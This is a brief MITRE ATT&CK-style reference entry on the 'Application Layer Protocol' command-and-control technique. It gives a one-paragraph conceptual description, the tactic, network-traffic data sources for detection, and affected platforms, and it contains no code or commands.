Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre